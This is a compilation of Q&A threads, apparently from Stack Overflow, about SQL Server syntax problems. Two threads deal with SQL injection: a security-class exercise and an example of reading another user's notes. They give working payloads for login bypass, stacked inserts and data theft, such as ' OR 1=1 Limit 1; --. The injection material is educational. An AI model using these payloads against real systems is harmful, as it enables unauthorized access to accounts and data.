SQL syntax error (SQL injection) - sql

I am having a class in computer security and are having a little trouble with the syntax when doing a sql injection on a local machine that we are suppose to hack.
below is the syntax of the sql syntax.
SqlCommand sqlc = new SqlCommand("SELECT Record FROM Table_Users WHERE Username='" + username + "' AND Password='" + password + "'");
We are trying the following in the login (username) field and ' or '1'='1 in the password
;INSERT Table_Users (Username, Password) VALUES ('hejsan', 'glenn');
But am getting a syntax error "Incorrect syntax near 'hejsan'."
Can you see the syntax error? =)

My first take was to have
INSERT INTO Table_Users instead of INSERT Table_Users but as the poster noted INTO is optional(in MSSQL in contrast to the standard ANSI SQL).
On second thought depending on what the data type your columns are the query could work by appending N in front of the values as per What is the meaning of the prefix N in T-SQL statements?

try
';INSERT Table_Users (Username, Password) VALUES ('hejsan', 'glenn');
-> you need to close the ' after Username=.
In this case you don't even need a value for the password field.
You could put -- after your injected statement to cancel the rest of the select statement:
';INSERT Table_Users (Username, Password) VALUES ('hejsan', 'glenn');--

maybe something with the quotes?
var password = "';INSERT Table_Users (Username, Password) VALUES (''hejsan'', ''glenn''); select '";

Related

How to handle `|| chr(38) ||` in SQL server

I've a SQL script which is returned by Oracle, this output script then needs to be run in SQL server. I know it might sound odd but we are in the process of moving from Oracle to SQL server. so the problem is few of the lines from this script have statement like
insert into media values('Mumbai','C123','MP3','Gully ' || chr(38) || ' Gang','','');
When the above statement is tried in SQL server then error is thrown saying
Incorrect syntax near '|'.
How do I fix this?
I tried set define on/off but of no use.
Thanks
Presumably, you intend:
insert into media
values('Mumbai', 'C123', 'MP3',
concat('Gully ', char(38), ' Gang'), '', '');
Some comments:
Why not just use 'Gully & Gang'? On my keyboard at least, & is easy to type.
In Oracle, the '' are NULLs. Those are different in SQL Server. It is not clear which you want, but I might guess NULL.
List the columns explicitly on insert. That is a best practice.
In SQL Server, using '+' instead of '||'.
insert into media values('Mumbai','C123','MP3','Gully ' + char(38) + ' Gang','','');
All expressions are preferably of type string.
When converting from Oracle to SQL Server you should use (or have on-hand for reference) SQL Server Migration Assitant For Oracle, which will translate that statement for you as
INSERT MEDIA(
NAME,
A,
B,
C,
D,
E)
VALUES (
'Mumbai',
'C123',
'MP3',
'Gully ' + ISNULL(char(38), '') + ' Gang',
NULL,
NULL)
GO
Oracle silently converts '' to NULL, and SQL Server does not. So that's a required part of the conversion.

How to implement SQL injection

Suppose you have the following SQL Query to create a table called notes and store data in it :
CREATE TABLE notes (
id INTEGER PRIMARY KEY,
username TEXT,
token TEXT,
text TEXT
);
INSERT INTO notes (username, token, text) VALUES ('alice', 'token-a', 'Reminder: buy milk');
INSERT INTO notes (username, token, text) VALUES ('alice', 'token-a', 'I like Bob');
INSERT INTO notes (username, token, text) VALUES ('bob', 'token-b', 'TODO: write tests');
Now to attempt SQL injection to get all alice's notes without knowing her token where the query to get the data is given as :
'''SELECT text
FROM notes
WHERE token = '%s'
''' % token
What should be the text send in the variable token so as to perform SQL injection and get all alice's notes.
Try Something like this-
';SELECT text
FROM notes
WHERE username = 'alice
SQL Injection can be implemented by concatenating the SQL statement with the input parameters. For example, the following statement is vulnerable to SQL Injection:
String statement = "SELECT ID FROM USERS WHERE USERNAME = '" + inputUsername + "' AND PASSWORD = '" + hashedPassword + "'";
An attacker would enter a username like this:
' OR 1=1 Limit 1; --
Thus, the executed statement will be:
SELECT ID FROM USERS WHERE USERNAME = '' OR 1=1 Limit 1; --' AND PASSWORD = 'Blob'
Hence, the password part is commented, and the database engine would return any arbitrary result which will be acceptable by the application.
I found this nice explanation on the free preview of "Introduction to Cybersecurity for Software Developers" course.
https://www.udemy.com/course/cybersecurity-for-developers-1/
It also explains how to prevent SQL Injection.

SQl select statement whitespace issue

Values in SQL are USERNAME=ADMIN PASSWORD=ADMIN
SELECT * FROM TBL_USER
WHERE USERNAME='ADMIN'
AND PASSWORD COLLATE LATIN1_GENERAL_CS_AS=N'ADMIN'
The above query works fine.
2) If I add a space in front of the password.
SELECT * FROM TBL_USER
WHERE USERNAME='ADMIN'
AND PASSWORD COLLATE LATIN1_GENERAL_CS_AS=N' ADMIN'
This is also correct as it returns a message saying incorrect password.
3) If I add a space in to the end of the password:
SELECT * FROM TBL_USER
WHERE USERNAME='ADMIN'
AND PASSWORD COLLATE LATIN1_GENERAL_CS_AS=N'ADMIN '
This query should fail but it doesn't it retrieves data.
Can anyone help me in this.The third condition should fail since the value in table is 'admin' and the value provided is 'admin ' (with whitespaces at end).
Instead of using = operator use LIKE (without % wildcard)
SELECT * FROM TBL_USER WHERE USERNAME='ADMIN'
AND PASSWORD COLLATE LATIN1_GENERAL_CS_AS LIKE N'ADMIN '
And here's why: SQL WHERE clause matching values with trailing spaces
This is the expected behaviour of trailing spaces
SQL Server follows the ANSI/ISO SQL-92 specification (Section 8.2,
, General rules #3) on how to compare strings
with spaces. The ANSI standard requires padding for the character
strings used in comparisons so that their lengths match before
comparing them. The padding directly affects the semantics of WHERE
and HAVING clause predicates and other Transact-SQL string
comparisons. For example, Transact-SQL considers the strings 'abc' and
'abc ' to be equivalent for most comparison operations.
The only exception to this rule is the LIKE predicate. When the right
side of a LIKE predicate expression features a value with a trailing
space, SQL Server does not pad the two values to the same length
before the comparison occurs. Because the purpose of the LIKE
predicate, by definition, is to facilitate pattern searches rather
than simple string equality tests, this does not violate the section
of the ANSI SQL-92 specification mentioned earlier.
I suggest you add another condition to your where clause:
And DATALENGTH(Password) = DATALENGTH(N'ADMIN ')
This will add another check to ensure the input value length is the same as the Database value.
Full example:
Declare #tblUser table
(
Username nvarchar(50),
Password nvarchar(50)
)
Insert into #tblUser
Values (N'ADMIN',N'ADMIN')
select *
From #tblUser
Where Username = N'ADMIN'
And Password Collate LATIN1_GENERAL_CS_AS = N'ADMIN'
select *
From #tblUser
Where Username = N'ADMIN'
And Password Collate LATIN1_GENERAL_CS_AS = N' ADMIN'
select *
From #tblUser
Where Username = N'ADMIN'
And Password Collate LATIN1_GENERAL_CS_AS = N'ADMIN '
And DATALENGTH(Password) = DATALENGTH(N'ADMIN ')
This will work for you
SELECT * FROM TBL_USER
WHERE USERNAME='ADMIN' AND PASSWORD COLLATE LATIN1_GENERAL_CS_AS=N'ADMIN ' And LEN(PASSWORD) = LEN(Replace('admin ', ' ' , '_'))
As it will fail if the user uses spaces at the end of the password.
You can use trim function
SELECT * FROM TBL_USER WHERE USERNAME=trim('ADMIN') AND PASSWORD COLLATE LATIN1_GENERAL_CS_AS=N trim('ADMIN')
You can do a right trim in your check.
SELECT * FROM TBL_USER
WHERE USERNAME='ADMIN' AND PASSWORD COLLATE LATIN1_GENERAL_CS_AS=RTRIM(N'ADMIN ')

How to insert special characters to a table row via SQL Editor

I have a table in my SQL Server database with a column of type nvarchar(50);
I tried to do this:
Right click on my table
Selecting "Edit 200 first rows"
Typing in that column 'a'
I get an error like this:
Error source: .Net SqlClient Data Provider.
Error message: Incorrect syntax near 'a'.
Correct the errors and retry".
Why do I get this error message and how can I fix this?
I have used aqua data studio and tested this it is allowing me.
my result:::
id testc
----- ---------
1 'asdfasd'
If you want to use it thrugh .net then while passing the string add the escape sequences. suppose if you are sending "'"--single quote.. then send I have used and tested this it like "\'" is allowing me.
refer below link:::
http://www.codeproject.com/Questions/157918/How-can-I-insert-a-special-character-in-sql-server
I have had the same error.
I want to insert a value I am Nam 'ABC' into MyTable at field Description as following SQL statement
Insert Into table MyTable (Description) values('I am Nam 'ABC'');
Once Insert command executed the error occur immediately
Incorrect syntax near 'ABC'.
Note that the reason why is SQL will understand character " ' " which before ABC belongs to character
" ' " before I, and one after ABC belongs to " ' " at the end. As a result ABC does not belong to SQL
statement anymore therefore it makes a break of statement.
Here is my solution:
I added two single quotes for each side of ABC
Insert Into table MyTable (Description) values('I am Nam ' 'ABC' ' ');

SQL Server Compact. There was an error parsing the query

I cannot figure out why this is not working. I get the same thing when I try to do an update query as well.
Here is the error " There was an error parsing the query. [ Token line number = 1,Token line offset = 43,Token in error = where ] "
Here is the actual Query INSERT INTO ads (title,price,body,enabled,where,interval,posted) VALUES('test','899','test',True,'Columbus',15,'11/25/2009 10:12:30 AM')
Where would be 'Columbus'
I am using visual studio express 2008 C#
WHERE is a reserved word, try wrapping it in brackets
INSERT INTO ads (title,price,body,enabled,[where],interval,posted)
VALUES('test','899','test',True,'Columbus',15,'11/25/2009 10:12:30 AM')
i think you should provide the value of the primary key in your insert statement,maybe SQL Server Compact databases are not generated automatically or you dont configure that.
I had the same problem this is the INSERT statement which was not working and got the same error:
INSERT INTO Customers(CustomerName,CustomerAddress,CustomerPhone)
VALUES ('Osama','Amman','656565')
this is the INSERT statement which was working fine:
INSERT INTO Customers(CustomerID,CustomerName,CustomerAddress,CustomerPhone)
VALUES ('4564','Osama','Amman','656565')
also if you have in your table columns with names have spaces like (Customer Name)
you must use brackets in your sqlCe statement as:
INSERT INTO Customers([CustomerID],[Customer Name],[Customer Address],[Customer Phone])
VALUES ('4564','Osama','Amman','656565')
also if you use SELECT SCOPE_IDENTITY() to get last record inserted in INSERT Statement
as:
INSERT INTO Customers(CustomerID,CustomerName,CustomerAddress,CustomerPhone)
VALUES ('4564','Osama','Amman','656565') SELECT SCOPE_IDENTITY()
don't use it...